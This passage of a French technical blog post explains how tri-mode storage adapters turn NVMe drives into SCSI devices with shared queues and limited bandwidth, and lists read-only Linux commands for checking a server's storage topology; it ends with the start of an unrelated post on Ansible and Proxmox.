d\u0026rsquo;approchant, donc quiconque a réellement regardé un système en marche peut balayer la comparaison — et il aurait raison. Le vrai nombre est plus petit, sans gloire, et il fait mieux passer l\u0026rsquo;idée.\nVoici donc un vrai disque. Pas une pièce d\u0026rsquo;entreprise : un SSD OEM SK Hynix de 256 Go, du genre soudé dans un portable de milieu de gamme, dans une machine à 16 cœurs.\n$ nproc 16 $ cat /sys/class/nvme/nvme0/queue_count 17 $ ls /sys/block/nvme0n1/mq | wc -l 16 $ cat /sys/block/nvme0n1/queue/nr_requests 1023 Dix-sept files : une file d\u0026rsquo;administration, et seize files d\u0026rsquo;I/O pour seize cœurs. Chacune profonde de 1023 commandes. La correspondance est de un pour un — chaque file matérielle est liée à exactement un CPU :\n$ cd /sys/block/nvme0n1/mq \u0026amp;\u0026amp; grep -H . */cpu_list 0/cpu_list:1 1/cpu_list:9 2/cpu_list:3 3/cpu_list:11 ... Un CPU par file, jusqu\u0026rsquo;en bas — la file matérielle 0 sert le cœur 1 et rien d\u0026rsquo;autre.\nVoilà ce que « le NVMe a beaucoup de files » veut dire en pratique. Pas 65 535 — une par cœur, quel que soit le nombre de cœurs. Linux crée une paire de files par CPU jusqu\u0026rsquo;à ce que le contrôleur accorde, et les contrôleurs accordent bien plus que ce qu\u0026rsquo;un serveur type a de cœurs, donc en pratique le nombre de cœurs est le nombre. Mettez ce disque dans une machine à 64 cœurs et vous en obtenez 64.\nCette division par cœur, c\u0026rsquo;est de là que vient la performance :\nUn cœur soumet dans sa propre file. Pas de verrou, parce qu\u0026rsquo;aucun autre cœur n\u0026rsquo;y touche. Chaque file a son propre vecteur MSI-X, affiné sur ce cœur. L\u0026rsquo;interruption d\u0026rsquo;achèvement retombe sur le cœur qui a émis l\u0026rsquo;I/O, là où les lignes de cache concernées sont déjà. Les seize cœurs peuvent être en vol en même temps sans jamais se disputer une structure partagée. Le parallélisme croît avec votre nombre de cœurs, et le travail d\u0026rsquo;aucun cœur ne fait jamais la queue derrière celui d\u0026rsquo;un autre. Un disque grand public bon marché fait ça. C\u0026rsquo;est le minimum vital.\nRegardez maintenant ce que le disque obtient derrière l\u0026rsquo;adaptateur. Les nombres ci-dessous ne sont pas des estimations — ce sont des constantes du pilote mpt3sas de la branche principale.\nLa profondeur de file par équipement est posée depuis ioc-\u0026gt;max_nvme_qd, que le pilote prend de ce que rapporte le firmware du contrôleur, et à défaut il se rabat sur une valeur par défaut fixée à la compilation dans drivers/scsi/mpt3sas/mpt3sas_base.h :\n#define MPT3SAS_SATA_QUEUE_DEPTH\t32 #define MPT3SAS_SAS_QUEUE_DEPTH\t254 #define MPT3SAS_RAID_QUEUE_DEPTH\t128 #define MPT3SAS_NVME_QUEUE_DEPTH\t128 128. Un équipement capable de dizaines de milliers de commandes en cours se voit attribuer une profondeur de file de 128 — et remarquez qu\u0026rsquo;elle est moins profonde que la valeur SAS par défaut de 254 posée deux lignes au-dessus. Les capacités propres du disque n\u0026rsquo;entrent jamais dans la décision. Le nombre vient du contrôleur.\nLe nombre de files matérielles est pire, et le pilote est franc là-dessus. Depuis mpt3sas_scsih.c :\nshost-\u0026gt;nr_hw_queues = 1; if (shost-\u0026gt;host_tagset) { shost-\u0026gt;nr_hw_queues = ioc-\u0026gt;reply_queue_count - ioc-\u0026gt;high_iops_queues; ... dev_info(\u0026amp;ioc-\u0026gt;pdev-\u0026gt;dev, \u0026#34;Max SCSIIO MPT commands: %d shared with nr_hw_queues = %d\\n\u0026#34;, shost-\u0026gt;can_queue, shost-\u0026gt;nr_hw_queues); } Lisez ça attentivement, parce que trois choses distinctes se passent.\nLa valeur par défaut est une file matérielle. nr_hw_queues = 1. Le multi-file n\u0026rsquo;arrive que sur les contrôleurs gen35 avec la fonction host_tagset activée, et même là c\u0026rsquo;est ce que l\u0026rsquo;historique des commits du pilote décrit lui-même comme des files matérielles multiples simulées — le matériel du contrôleur d\u0026rsquo;I/O est une file de soumission unique avec plusieurs files de réponse, et blk-mq est plaqué par-dessus.\nLe nombre de files vient du contrôleur, pas du nombre de cœurs. C\u0026rsquo;est reply_queue_count moins les files à IOPS élevées — l\u0026rsquo;allocation de vecteurs MSI-X de l\u0026rsquo;adaptateur. Ça n\u0026rsquo;a rien à voir avec le nombre de CPU que vous avez, et ça n\u0026rsquo;augmente pas quand vous ajoutez des disques. C\u0026rsquo;est l\u0026rsquo;inverse exact du disque ci-dessus, où le nombre de files était le nombre de cœurs.\nEt la réserve de tags est partagée. host_tagset veut dire exactement ce qu\u0026rsquo;il dit : une réserve de tags pour l\u0026rsquo;adaptateur hôte entier, et cette ligne de journal dit « shared » tout haut. Chaque disque de la carte puise dans le même jeu d\u0026rsquo;emplacements de commande. Un châssis à vingt-quatre baies a vingt-quatre disques en concurrence sur les tags d\u0026rsquo;un seul contrôleur.\nMettez les deux côte à côte. Ce SSD de portable avait seize files privées de 1023, une par cœur, ne répondant qu\u0026rsquo;à lui-même. Le même disque derrière l\u0026rsquo;adaptateur reçoit une part des files de réponse de la carte, 128 commandes en cours, et vingt-trois voisins qui puisent dans la même réserve.\nDes paires de files NVMe par cœur face à une réserve de tags partagée sur l'adaptateur Les files se multiplient avec les cœurs Les disques se partagent une réserve cœur 0 cœur 1 cœur 2 cœur 3 SQ + CQ SQ + CQ SQ + CQ SQ + CQ profond de 1023 profond de 1023 profond de 1023 profond de 1023 SSD NVMe /dev/nvme0n1 une paire soumission/achèvement par cœur vecteur MSI-X propre, les achèvements retombent sur ce cœur pas de verrou, pas de concurrence entre cœurs cœur 0 cœur 1 cœur 2 cœur 3 Contrôleur tri-mode les files de réponse viennent des vecteurs MSI-X de la carte, pas de votre nombre de cœurs une réserve de tags partagée par tous les disques sda sdb sdc sdd qd 128 qd 128 qd 128 qd 128 et 20 baies de plus qui puisent dans la même réserve. 128 en cours par équipement, quoi que le disque sache faire ajouter des disques divise une ressource fixe À gauche : une paire de files par cœur, privée et profonde de 1023, avec l\u0026rsquo;interruption d\u0026rsquo;achèvement qui retombe sur le cœur émetteur — mesuré sur le disque ci-dessus. À droite : tous les cœurs canalisés dans les files de réponse du contrôleur, puisant dans une réserve de tags unique, chaque disque plafonné à 128. La perte n\u0026rsquo;est donc pas que le SCSI est lent. Le SCSI moderne sur blk-mq va très bien. La perte est structurelle :\nLes files appartiennent à l\u0026rsquo;adaptateur, pas au disque. Ajouter des disques divise une ressource fixe au lieu de l\u0026rsquo;augmenter. La réserve de tags est partagée à l\u0026rsquo;échelle de l\u0026rsquo;hôte. Un disque sous forte charge peut affamer les autres d\u0026rsquo;une façon qui ne peut tout simplement pas arriver quand chaque disque a ses propres files. La profondeur par équipement est plafonnée à 128, quoi que le disque puisse soutenir. La localité des interruptions est affaiblie. Les achèvements arrivent sur la file de réponse qu\u0026rsquo;a utilisée le contrôleur, pas forcément sur le cœur qui a soumis. Pour une profondeur de file de 1 ou 2 — un processus mono-thread qui fait des lectures occasionnelles — rien de tout ça ne se voit. Vous mesurerez la même latence dans les deux cas, au bruit près. La pénalité apparaît exactement là où vous aviez acheté du NVMe pour aider : beaucoup de cœurs qui émettent beaucoup d\u0026rsquo;I/O concurrentes. Plus la charge est profonde, plus vous avez payé de disque que vous ne pouvez pas atteindre.\nLe lien montant, c\u0026rsquo;est un seul emplacement x8 Le modèle de files est le problème subtil. Le plafond de bande passante est le problème évident, et vous pouvez le lire sur les fiches produit de Broadcom sans avoir besoin d\u0026rsquo;un banc d\u0026rsquo;essai.\nLe HBA de la série 9500 est une carte x8 PCIe Gen 4.0. Les chiffres publiés par Broadcom pour elle sont 13 700 Mo/s en lecture séquentielle 256K et 3 M IOPS en lecture aléatoire 4K. La même fiche dit qu\u0026rsquo;elle prend en charge jusqu\u0026rsquo;à 32 équipements NVMe.\nMettez ces deux nombres l\u0026rsquo;un à côté de l\u0026rsquo;autre et la question se répond d\u0026rsquo;elle-même : combien faut-il de disques pour être à court d\u0026rsquo;adaptateur ?\nPas beaucoup, et moins chaque année. Un SSD Gen4 x4 fait environ 7 Go/s. Un SSD Gen5 x4 fait environ 14. Les deux sont des pièces ordinaires en 2026 — le Gen4 est ce dont le marché U.2 d\u0026rsquo;occasion est plein, et le Gen5 est ce que vous obtenez en achetant neuf.\nPlafond Disques Gen4 pour l\u0026rsquo;atteindre Disques Gen5 pour l\u0026rsquo;atteindre HBA 9500 — 13 700 Mo/s séquentiel 2 1 HBA 9500 — 3 M IOPS (4K RR) 3 1–2 eHBA 9600 — 6,4 M IOPS (4K RR) ~6 ~3 MegaRAID 9600 — 1,1 M IOPS RAID 5 (4K RW) ~1 ~1 Relisez la ligne du haut. Un seul SSD Gen5 atteint tout le plafond séquentiel d\u0026rsquo;un HBA 9500. Un disque, dans une carte prévue pour trente-deux. Tout ce qui vient après, c\u0026rsquo;est de la capacité. Pas de la performance.\nEt la ligne du bas est celle qui devrait arrêter un bon de commande : sur le MegaRAID de la génération actuelle, un tiroir plein de NVMe en RAID 5 délivre à peu près ce qu\u0026rsquo;un disque grand public fait tout seul.\nLes disques ne s\u0026rsquo;établissent même pas en x4 Il y a un second étranglement sous le lien montant partagé, facile à rater parce qu\u0026rsquo;il siège dans un tableau de spécifications plutôt que dans un titre.\nLe guide utilisateur PERC 12 de Dell, qui couvre les contrôleurs tri-mode H965i, dit :\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3) and 16 GT/s (Gen 4) at maximum x2 lane width.\nChaque disque NVMe obtient deux lignes, pas quatre. Donc avant toute concurrence sur le lien montant, avant la réserve de tags, avant la traduction SCSI, un disque Gen4 est déjà descendu à environ 3,5 Go/s — la moitié de ce qu\u0026rsquo;il sait faire. Mettez un disque Gen5 dans cette baie et il négocie vers du Gen4 x2 et délivre à peu près le quart de sa bande passante nominale.\nIl faut être précis sur ce que ça change et ce que ça ne change pas. Ça ne veut pas dire que l\u0026rsquo;adaptateur va plus loin. Il faut environ quatre disques limités à x2 pour remplir le lien montant de la 9500 au lieu de deux, mais seulement parce que chaque disque apporte moitié moins. Le goulet a bougé du lien montant vers le lien du disque. Le total que vous pouvez extraire ne s\u0026rsquo;est pas amélioré.\nEn attachement direct, ces mêmes trente-deux disques auraient chacun leur propre chemin x4 vers le root complex, à la génération que le disque et le CPU savent négocier.\nLa ligne RAID 5 de ce tableau mérite qu\u0026rsquo;on s\u0026rsquo;y arrête, parce que c\u0026rsquo;est le chiffre de Broadcom lui-même et qu\u0026rsquo;il est publié sans enjolivure. Depuis la fiche de la série 9600 :\n900K to 1.1M RAID 5 IOPS (4K RW)\nLe RAID à parité dans le firmware du contrôleur est la chose la plus coûteuse que vous puissiez demander à une carte tri-mode, et voilà la génération actuelle en train de le faire. À lire avant que quelqu\u0026rsquo;un ne spécifie du RAID 5 sur vingt-quatre disques NVMe en attendant la performance de vingt-quatre disques.\nLe nombre de disques face à deux plafonds tri-mode, une carte x8 Gen4 et une x16 Gen5 0 15 30 45 60 75 90 Go/s agrégés 1 2 3 4 5 6 disques NVMe Gen5 direct \u0026#8212; environ 14 Go/s chacun Gen4 direct \u0026#8212; environ 7 Go/s chacun hors de portée des deux cartes PERC13, Gen5 x16 \u0026#8212; 52,5 Go/s mesurés HBA 9500, Gen4 x8 \u0026#8212; 13,7 Go/s 2 disques Gen4 atteignent la 9500 \u0026#8212; 4 disques Gen5 atteignent même une PERC13 Chiffres constructeur et tests, pas mesurés ici. La 9500 est prévue pour 32 équipements NVMe, la PERC13 pour 16. Les deux cartes établissent en plus chaque disque en x2, ce que ces courbes en attachement direct ne font pas. Combien de disques il faut pour être à court d\u0026rsquo;adaptateur, face à deux plafonds. Deux disques Gen4 atteignent le HBA 9500 ; quatre disques Gen5 atteignent même une PERC13. Les cartes sont prévues pour trente-deux et seize équipements respectivement. Et une carte x16 ? L\u0026rsquo;objection évidente à tout ce qui précède, c\u0026rsquo;est que la 9500 est une carte x8 Gen4 et que le plafond est un artefact d\u0026rsquo;un lien hôte étroit. Donnez à l\u0026rsquo;adaptateur seize lignes de Gen5 et le problème disparaît.\nC\u0026rsquo;est une objection légitime, et elle mérite le meilleur exemple plutôt qu\u0026rsquo;un homme de paille. Prenons donc la PERC13 H975i de Dell — la génération actuelle, et à peu près ce que le tri-mode fait de mieux. Son guide utilisateur spécifie « Gen 4 and Gen 5 PCIe x16 host interfaces », et StorageReview a mesuré 52,5 Go/s et 12,5 M IOPS par contrôleur, face à seize disques NVMe au maximum.\nCe sont des chiffres sérieux, et ils changent le tableau nettement. Face aux 13 700 Mo/s et 3 M IOPS de la 9500, c\u0026rsquo;est environ quatre fois la bande passante et quatre fois les IOPS, réparties sur deux fois moins de disques. Dell n\u0026rsquo;a pas seulement élargi le tuyau — ils ont aussi divisé l\u0026rsquo;éventail par deux, et le taux de surréservation s\u0026rsquo;en est trouvé amélioré. Sur les IOPS en particulier, 12,5 M sur seize disques font environ 780K par disque, ce qui est proche de ce qu\u0026rsquo;un disque grand public délivre tout seul. À ce moment-là, le contrôleur n\u0026rsquo;est vraiment pas ce qui vous retient.\nRendons donc à César : une carte tri-mode x16 Gen5 moderne est une bien meilleure pièce d\u0026rsquo;ingénierie qu\u0026rsquo;une x8 Gen4, et si la bande passante était votre seule objection, le x16 y répond en grande partie.\nTrois choses qu\u0026rsquo;elle ne corrige pas.\nLes disques s\u0026rsquo;établissent toujours en x2. C\u0026rsquo;est celle qui m\u0026rsquo;a surpris. Le guide de la PERC13, qui décrit un contrôleur Gen5 x16, dit encore :\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3), 16 GT/s (Gen 4), and 32 GT/s (Gen 5) at maximum x2 lane width.\nUn lien hôte plus large n\u0026rsquo;élargit pas les liens des disques en aval. Chaque disque NVMe sur le contrôleur RAID tri-mode le plus récent et le plus rapide que Dell vende est encore raccordé par deux lignes au lieu de quatre, et abandonne encore la moitié de sa bande passante avant que quoi que ce soit d\u0026rsquo;autre n\u0026rsquo;arrive.\nLe modèle de files n\u0026rsquo;est absolument pas touché. Rien dans la section files de ce billet n\u0026rsquo;est fonction de la largeur du lien hôte. nr_hw_queues vient de l\u0026rsquo;allocation de files de réponse MSI-X du contrôleur ; la profondeur de 128 par équipement est une constante du pilote et du firmware ; la réserve de tags est partagée à l\u0026rsquo;échelle de l\u0026rsquo;hôte parce que host_tagset le dit. Élargissez le lien hôte en x16, x32, ce que vous voudrez — les disques restent des cibles SCSI qui partagent les files de la carte, il n\u0026rsquo;y a toujours pas de /dev/nvme0n1, et vous ne pouvez toujours pas passer un disque à une VM.\nEt le x16 ne fabrique pas de bande passante — il éventaille des lignes que vous aviez déjà. C\u0026rsquo;est l\u0026rsquo;argument qui tranche vraiment. Seize lignes Gen5 dans une PERC13 vous achètent 52,5 Go/s partagés sur seize baies. Ces mêmes seize lignes câblées directement à quatre disques Gen5 en x4 vous achètent environ 56 Go/s sur quatre baies — la même bande passante depuis les mêmes lignes, sauf que chaque disque obtient ses quatre lignes entières, sa propre paire de files par cœur, et un vrai nœud d\u0026rsquo;équipement nvme.\nLa façon honnête de décrire une carte tri-mode x16 n\u0026rsquo;est donc pas « un adaptateur plus rapide ». C\u0026rsquo;est un multiplexeur de lignes : il convertit un budget de lignes fixe en davantage de baies de disques, et vous facture le modèle de files pour la conversion. Que le marché soit bon ou non dépend d\u0026rsquo;une seule chose. Des baies ou du parallélisme.\nCe qui se passe quand vous remplissez toutes les baies Ce qui nous amène au cas qui compte vraiment, parce que personne n\u0026rsquo;achète un châssis 24 baies pour y mettre quatre disques.\nPassé le point de saturation, la ligne agrégée est plate. Ajouter des disques ajoute de la capacité, et rien d\u0026rsquo;autre — donc la performance par disque tombe en 1/N. Cette arithmétique est impitoyable à des remplissages réalistes :\nDisques sur un HBA 9500 Agrégé Par disque Fraction d\u0026rsquo;un disque Gen4 2 13,7 Go/s 6,9 Go/s 98 % 12 13,7 Go/s 1,14 Go/s 16 % 24 13,7 Go/s 0,57 Go/s 8 % Regardez la ligne du bas. Vingt-quatre disques NVMe derrière un HBA 9500 délivrent environ 570 Mo/s chacun. Un SSD SATA en fait à peu près 550. Vous avez acheté vingt-quatre disques NVMe, payé un contrôleur tri-mode pour les raccorder, et vous êtes arrivé à une bande passante par disque de classe SATA.\nL\u0026rsquo;arithmétique des IOPS a la même forme : 3 M répartis sur vingt-quatre disques font 125K chacun, contre le 1 M qu\u0026rsquo;un disque Gen4 grand public tient à lui seul — environ un huitième de ce que vous possédez.\nLa carte x16 améliore ça considérablement mais n\u0026rsquo;y échappe pas. Une PERC13 avec ses seize disques au complet, c\u0026rsquo;est 52,5 Go/s ÷ 16 = 3,3 Go/s par disque, soit environ 23 % d\u0026rsquo;un disque Gen5 — et ça avant que le lien x2 ne le divise encore par deux.\nDeux effets aux forts nombres de disques sont pires que ce que la division laisse croire :\nLa famine de tags traverse les équipements. La réserve de tags partagée à l\u0026rsquo;échelle de l\u0026rsquo;hôte fait qu\u0026rsquo;un seul disque sous forte charge peut consommer des emplacements dont d\u0026rsquo;autres disques ont besoin. Vingt-quatre équipements autorisés chacun nominalement à 128 commandes en cours en veulent 3 072 à eux tous, tirés du can_queue d\u0026rsquo;un seul contrôleur. Le blocage de tête de file entre disques distincts est un mode de défaillance qui n\u0026rsquo;existe tout simplement pas quand chaque disque possède ses files. Les reconstructions frappent tout. Une reconstruction de parité sur un tiroir peuplé sature l\u0026rsquo;unique lien montant partagé, donc l\u0026rsquo;I/O de premier plan vers tous les autres disques de la carte se dégrade en même temps. Avec des disques sur des lignes indépendantes et du RAID logiciel, la reconstruction se dispute du CPU, pas un tuyau unique. Quand rien de tout ça ne compte Il y a un contrepoids important, et c\u0026rsquo;est la raison pour laquelle beaucoup de serveurs tri-mode 24 baies tournent parfaitement bien.\nLe plafond de l\u0026rsquo;adaptateur ne mord que si quelque chose en aval peut consommer plus qu\u0026rsquo;il ne délivre. Un serveur avec 2 × 25GbE a 6,2 Go/s de réseau — il ne peut même pas remplir un HBA 9500. Si ces vingt-quatre disques sont un étage de capacité qui sert des fichiers sur ce lien, l\u0026rsquo;adaptateur n\u0026rsquo;est nulle part près du goulet et l\u0026rsquo;arithmétique par disque ci-dessus n\u0026rsquo;a aucun intérêt.\nLe moment où ça commence à compter, c\u0026rsquo;est quand le consommateur devient plus rapide que la carte : le 100GbE (12,5 Go/s) vous met à lui seul au niveau de tout le plafond séquentiel d\u0026rsquo;une 9500, et les charges locales — bases de données, compilation, analytique, hôtes de virtualisation avec des invités chargés — n\u0026rsquo;ont aucun réseau dans le chemin.\nLa question à poser sur un tiroir peuplé n\u0026rsquo;est donc pas « est-ce que l\u0026rsquo;adaptateur est lent » mais « qu\u0026rsquo;est-ce qui va consommer ça, et est-ce que ça peut consommer plus que la carte ne délivre ? » Si la réponse est un lien 25GbE, arrêtez de vous inquiéter. Si la réponse est du 100GbE, du NVMe-oF ou une base de données locale, la carte est votre goulet et le nombre de disques l\u0026rsquo;aggrave.\nCe qui disparaît aussi Au-delà du débit, présenter un disque NVMe comme un disque SCSI veut dire que les parties spécifiquement NVMe de votre outillage cessent de marcher :\nAttachement direct Derrière un adaptateur tri-mode Nœud d\u0026rsquo;équipement /dev/nvme0n1 /dev/sdb Pilote nvme mpt3sas / mpi3mr nvme-cli Marche Rien à qui parler Données de santé Pages de journal SMART NVMe Pages de journal SCSI traduites Gestion des namespaces Oui Non Mises à jour de firmware nvme fw-download Outil fabricant via le contrôleur Format / sanitize NVMe Format NVM Équivalents SCSI, si implémentés Files matérielles Une paire par cœur (16 sur la machine ci-dessus) Les files de réponse de la carte, partagées par tous les disques Profondeur de file 1023 par file 128 par équipement Une conséquence prend les gens de court assez souvent pour la signaler à part : vous ne pouvez pas passer un disque individuel à une machine virtuelle. Le passthrough PCIe exige que le disque soit un point terminal PCIe avec son propre groupe IOMMU, et derrière un adaptateur tri-mode il n\u0026rsquo;en est pas un — le seul équipement PCIe présent est le contrôleur. Vous pouvez passer l\u0026rsquo;adaptateur entier, avec tous les disques qui y sont accrochés, ou rien. Si votre plan consistait à confier des disques NVMe précis à des invités précis, la décision du fond de panier a déjà tranché pour vous.\nAlors qui veut vraiment de ça en 2026 ? C\u0026rsquo;est ici que l\u0026rsquo;argumentaire du début de ce billet doit affronter une question plus dure, parce que le monde pour lequel il a été conçu a largement disparu.\nLe tri-mode a été conçu quand le NVMe était l\u0026rsquo;étage cher qu\u0026rsquo;on ajoutait à un parc SAS. En 2026 c\u0026rsquo;est l\u0026rsquo;inverse : le NVMe est le défaut, les disques U.2 d\u0026rsquo;entreprise sont abondants et bon marché sur le marché de l\u0026rsquo;occasion, et « du SAS, du SATA et du NVMe mélangés dans un châssis » décrit de moins en moins de déploiements réels. Alors qui l\u0026rsquo;achète vraiment ?\nPresque personne — délibérément. La réponse honnête, c\u0026rsquo;est que la plupart des contrôleurs tri-mode n\u0026rsquo;ont pas été choisis. Ils sont arrivés, parce que le constructeur du serveur en livre un, et il en livre un parce qu\u0026rsquo;une référence unique de fond de panier U.3 lui permet à lui de vendre des configurations SAS, SATA et NVMe depuis le même châssis. C\u0026rsquo;est un gain de chaîne d\u0026rsquo;approvisionnement pour le constructeur. Ça ne fait rien pour votre performance, et à ce titre ça n\u0026rsquo;a jamais été vendu comme tel.\nTrois des justifications classiques ne tiennent plus très bien :\n« J\u0026rsquo;ai besoin de types de disques mélangés. » Rarement dans le même châssis, et même quand c\u0026rsquo;est le cas, le tri-mode n\u0026rsquo;est pas la seule voie. Un simple HBA SAS pour les disques mécaniques plus du NVMe câblé au root complex vous donne les deux, sans pénaliser ni l\u0026rsquo;un ni l\u0026rsquo;autre. Un parc mélangé n\u0026rsquo;implique pas un contrôleur mélangé.\n« Je n\u0026rsquo;ai pas assez de lignes PCIe. » C\u0026rsquo;était le vrai argument en 2019, sur des plateformes à 40 lignes avec 24 baies. Un Epyc Genoa ou Turin mono-socket a 128 lignes. Vingt-quatre disques en x4, ça fait 96. La pénurie qui justifiait d\u0026rsquo;agréger des disques derrière un contrôleur a quasiment disparu, et là où elle subsiste, un switch PCIe fait le travail sans terminer le protocole.\n« Les baies doivent être universelles. » Celle-là mérite d\u0026rsquo;être démêlée soigneusement, parce que c\u0026rsquo;est l\u0026rsquo;argument le plus souvent utilisé pour justifier le mauvais composant. L\u0026rsquo;U.3 est un standard de fond de panier, pas une exigence de contrôleur. Un fond de panier U.3 peut être câblé droit aux lignes PCIe du CPU au lieu de passer par un contrôleur tri-mode, et les constructeurs documentent les deux topologies. Vous pouvez garder les baies universelles et supprimer la taxe. Si vous avez hérité d\u0026rsquo;un serveur tri-mode, la chose la plus utile que vous puissiez vérifier est de savoir si le fond de panier peut être recâblé en direct.\nCe qui reste vraiment :\nLe RAID matériel à forte densité, quand la politique ou la plateforme l\u0026rsquo;exige — une exigence d\u0026rsquo;audit, une matrice de support, un déploiement Windows ou ESXi sans couche logicielle pour faire le travail. C\u0026rsquo;est le vrai marché restant, c\u0026rsquo;est le seul cas où vous achetez le moteur RAID plutôt que la connectique, et sur le silicium actuel c\u0026rsquo;est un produit capable : seize disques NVMe en RAID 5 matériel avec un cache protégé par supercondensateur, à partir de seize lignes, c\u0026rsquo;est quelque chose que l\u0026rsquo;attachement direct ne sait pas offrir du tout. De la capacité SAS en vrac, là où le £/To appartient encore nettement aux disques mécaniques. Mais c\u0026rsquo;est le travail d\u0026rsquo;un simple HBA SAS, et moins cher. De très grands nombres de baies et des enceintes externes, là où les expandeurs SAS vont plus loin et plus large que le PCIe. Des charges qui ne vont jamais en profondeur. Si vos profondeurs de file tiennent sur un chiffre, rien de tout ça ne se voit. Beaucoup de systèmes réels vivent là très heureux. Il y a aussi un argument purement opérationnel — un type d\u0026rsquo;enceinte, un pilote, une pièce de rechange sur l\u0026rsquo;étagère — et pour un hôte de virtualisation généraliste ça vaut quelque chose de réel. Chiffrez-le juste honnêtement face au fait que, d\u0026rsquo;après le tableau ci-dessus, un seul disque Gen5 peut atteindre tout le plafond séquentiel de la carte.\nQuand c\u0026rsquo;est le mauvais outil Le marché tourne mal en proportion de la concurrence que votre charge de travail comporte.\nCeph est le cas le plus clair. Un nœud de stockage fait tourner un OSD par disque, chacun avec ses propres pools de threads, tous à émettre des I/O en même temps — et puis tout un cluster de clients les sollicite en parallèle. C\u0026rsquo;est le pire cas de la réserve de tags partagée : vingt-quatre démons en concurrence sur les emplacements de commande d\u0026rsquo;un seul contrôleur, chaque disque plafonné à 128 en cours, tout canalisé par un seul lien montant x8. Mettez ces disques droit sur le root complex et chaque OSD obtient ses propres files, ses propres tags et ses propres lignes. Un nœud Ceph tout-NVMe ne devrait pas avoir d\u0026rsquo;adaptateur tri-mode dans le chemin de données.\nLa même logique s\u0026rsquo;applique aux cibles NVMe-oF, où vous réexportez des disques et où chaque couche de sérialisation s\u0026rsquo;ajoute ; aux bases de données à I/O asynchrone profonde ; et à tout ce qui repose sur io_uring ou SPDK, qui existent précisément pour exploiter les files par cœur que l\u0026rsquo;adaptateur vient de retirer.\nLa règle générale : plus votre logiciel a été écrit pour exploiter du parallélisme, plus l\u0026rsquo;adaptateur tri-mode vous le facture.\nComment savoir ce que vous avez Si vous avez hérité d\u0026rsquo;un serveur et voulez savoir de quel côté vous êtes :\n# What is the transport? \u0026#34;nvme\u0026#34; is direct, \u0026#34;sas\u0026#34; means it went through a controller lsblk -o NAME,TRAN,MODEL,SIZE # Is there a tri-mode controller in the machine at all? lspci -nn | grep -Ei \u0026#39;sas|megaraid|serial attached\u0026#39; # Which driver claimed the disk? ls -l /sys/block/sdb/device/driver # Per-device queue depth — 128 is the mpt3sas NVMe default cat /sys/block/sdb/device/queue_depth # How many hardware queues does this device actually get? ls /sys/block/sdb/mq/ | wc -l ls /sys/block/nvme0n1/mq/ | wc -l # compare against a direct-attached drive # On a direct-attached drive, what did the controller actually grant? # One admin queue plus one I/O queue per core, so expect nproc + 1 cat /sys/class/nvme/nvme0/queue_count nproc # The driver says it out loud at load time dmesg | grep -i \u0026#39;nr_hw_queues\u0026#39; La dernière affiche la ligne Max SCSIIO MPT commands: N shared with nr_hw_queues = M citée plus haut. Si nvme list est vide sur une machine dont on vous a dit qu\u0026rsquo;elle est tout-flash NVMe, l\u0026rsquo;adaptateur en est la cause.\nLa version courte Un adaptateur tri-mode convertit vos disques NVMe en disques SCSI. Cette conversion n\u0026rsquo;est pas un effet de bord. C\u0026rsquo;est ainsi qu\u0026rsquo;une carte sert trois protocoles, et c\u0026rsquo;est ce que vous achetez.\nCe que vous abandonnez est précis et mesurable : des paires de files par cœur remplacées par les files de réponse partagées d\u0026rsquo;un contrôleur, une profondeur de 128 par équipement, une réserve de tags divisée entre tous les disques de la carte, un lien x2 là où le disque voulait du x4, et un lien montant partagé là où chaque disque avait auparavant son propre chemin vers le root complex. L\u0026rsquo;adaptateur cesse d\u0026rsquo;être une connexion et devient le goulet, et sur le matériel actuel il le devient vite : deux disques Gen4 atteignent un HBA 9500, quatre disques Gen5 atteignent même une PERC13.\nUn lien hôte plus large aide bien — une carte x16 Gen5 a environ quatre fois la bande passante et les IOPS d\u0026rsquo;une x8 Gen4 — mais ça ne change pas la forme. Ça achète des baies, pas du parallélisme : ces mêmes seize lignes câblées droit à quatre disques délivrent la même bande passante sans aucune taxe de files. Et ça ne sauve pas un tiroir plein. Vingt-quatre disques derrière une 9500 obtiennent environ 570 Mo/s chacun, ce que fait un SSD SATA.\nEn 2019, quand le NVMe était l\u0026rsquo;étage qu\u0026rsquo;on ajoutait à un parc SAS et que les plateformes manquaient de lignes, c\u0026rsquo;était un marché raisonnable. En 2026 il ne l\u0026rsquo;est généralement plus. Le NVMe est le défaut, les disques U.2 d\u0026rsquo;occasion sont bon marché, un Epyc mono-socket a des lignes à revendre, et le seul avantage qui tient encore — des baies de disques universelles — appartient au fond de panier U.3, pas au contrôleur. Vous pouvez très souvent garder les baies et supprimer la taxe en câblant le fond de panier droit au CPU.\nAlors achetez un adaptateur tri-mode si vous achetez son moteur RAID et qu\u0026rsquo;il vous en faut un. Ne l\u0026rsquo;achetez pas pour la souplesse, et si vous en avez hérité d\u0026rsquo;un dans un châssis plein de NVMe, allez donc voir comment ce fond de panier est câblé.\nÇa n\u0026rsquo;a aucun sens de payer deux fois pour des disques que vous ne pouvez ensuite pas utiliser correctement.\n","permalink":"https://blogs.damiendye.uk/fr/hardware/tri-mode-adapters-nvme-as-sas/","summary":"Un adaptateur tri-mode permet à n\u0026rsquo;importe quelle baie d\u0026rsquo;accueillir du SAS, du SATA ou du NVMe — une vraie souplesse, et la raison d\u0026rsquo;être des fonds de panier U.3. Ce qu\u0026rsquo;il n\u0026rsquo;annonce pas, c\u0026rsquo;est que vos disques NVMe cessent d\u0026rsquo;être des disques NVMe : ils arrivent dans Linux comme des disques SCSI sur mpt3sas, profondeur de file 128, partageant une seule réserve de tags et un seul lien montant x8. Deux disques Gen4 saturent la carte. Un seul disque Gen5 la dépasse déjà. Si ce marché tient encore en 2026, et pourquoi les baies universelles appartiennent au fond de panier plutôt qu\u0026rsquo;au contrôleur.","title":"Les adaptateurs tri-mode achètent de la souplesse avec vos files NVMe"},{"content":"L\u0026rsquo;hypothèse qu\u0026rsquo;Ansible a d\u0026rsquo;ordinaire le droit de faire Presque chaque module Ansible que vous avez utilisé marche ainsi : Ansible se connecte à l\u0026rsquo;hôte nommé dans l\u0026rsquo;inventaire, y copie un petit programme Python, l\u0026rsquo;exécute, et relit le résultat. L\u0026rsquo;hôte est la chose modifiée et la chose qui fait le travail.\nCréer une machine virtuelle casse cela de la façon la plus élémentaire possible. L\u0026rsquo;hôte que vous construisez n\u0026rsquo;existe pas. Il n\u0026rsquo;a pas d\u0026rsquo;IP, pas de démon SSH, pas de Python, et pas de système d\u0026rsquo;exploitation. Il n\u0026rsquo;y a rien à quoi se connecter.\ncommunity.proxmox n\u0026rsquo;est donc 